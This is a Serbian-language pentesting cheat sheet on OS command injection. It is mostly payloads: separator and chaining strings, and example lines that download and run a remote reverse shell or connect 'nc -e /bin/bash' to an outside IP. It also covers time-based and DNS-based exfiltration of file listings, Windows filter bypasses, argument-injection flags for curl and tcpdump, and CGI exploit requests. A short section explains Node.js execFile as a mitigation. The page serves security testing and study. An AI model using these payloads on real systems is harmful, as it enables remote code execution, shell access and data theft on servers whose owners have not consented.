Command Injection

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Šta je command Injection?

A command injection omogućava napadaču izvršavanje proizvoljnih komandi operativnog sistema na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da stekne neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.

Kontekst

U zavisnosti od gde se vaš unos ubacuje možda ćete morati da zatvorite citirani kontekst (koristeći " ili ') pre samih komandi.

Command Injection/Execution

bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Ograničenja Bypasses

Ako pokušavate da izvršite proizvoljne komande unutar linux mašine biće vam zanimljivo da pročitate o ovim Bypasses:

Bypass Linux Restrictions

Primeri

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parametri

Evo top 25 parametara koji bi mogli biti ranjivi na code injection i slične RCE ranjivosti (iz link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Vremenski zasnovana data exfiltration

Ekstrakcija podataka: char po char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Bazirano na alatu sa https://github.com/HoLyVieR/dnsbin, koji je takođe hostovan na dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online alati za proveru DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Prilikom audita JavaScript/TypeScript back-endova često ćete naići na Node.js child_process API.

javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() pokreće shell (/bin/sh -c), zato svaki karakter koji ima posebno značenje za shell (back-ticks, ;, &&, |, $(), …) može dovesti do command injection kada se korisnički unos konkatenira u string.

Mitigacija: koristite execFile() (ili spawn() bez shell opcije) i obezbedite svaki argument kao poseban element niza tako da shell nije uključen:

javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Primer iz stvarnog sveta: Synology Photos ≤ 1.7.0-0794 je bio exploitable kroz neautentifikovan WebSocket događaj koji je smestio podatke kontrolisane od strane napadača u id_user, koji su kasnije ugrađeni u exec() poziv, postižući RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with execve/execFile and no shell), many programs will still parse any argument that begins with - or -- as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.

Tipična mesta gde se ovo pojavljuje:

  • Embedded web UIs/CGI handlers that build commands like ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Centralized CGI routers (e.g., /cgi-bin/<something>.cgi with a selector parameter like topicurl=<handler>) where multiple handlers reuse the same weak validator.

Šta pokušati:

  • Provide values that start with -/-- to be consumed as flags by the downstream tool.
  • Abuse flags that change behavior or write files, for example:
  • ping: -f/-c 100000 to stress the device (DoS)
  • curl: -o /tmp/x to write arbitrary paths, -K <url> to load attacker-controlled config
  • tcpdump: -G 1 -W 1 -z /path/script.sh to achieve post-rotate execution in unsafe wrappers
  • If the program supports -- end-of-options, try to bypass naive mitigations that prepend -- in the wrong place.

Generički PoC oblici protiv centralizovanih CGI dispatchera:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Lista za detekciju Brute-Force

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

Reference

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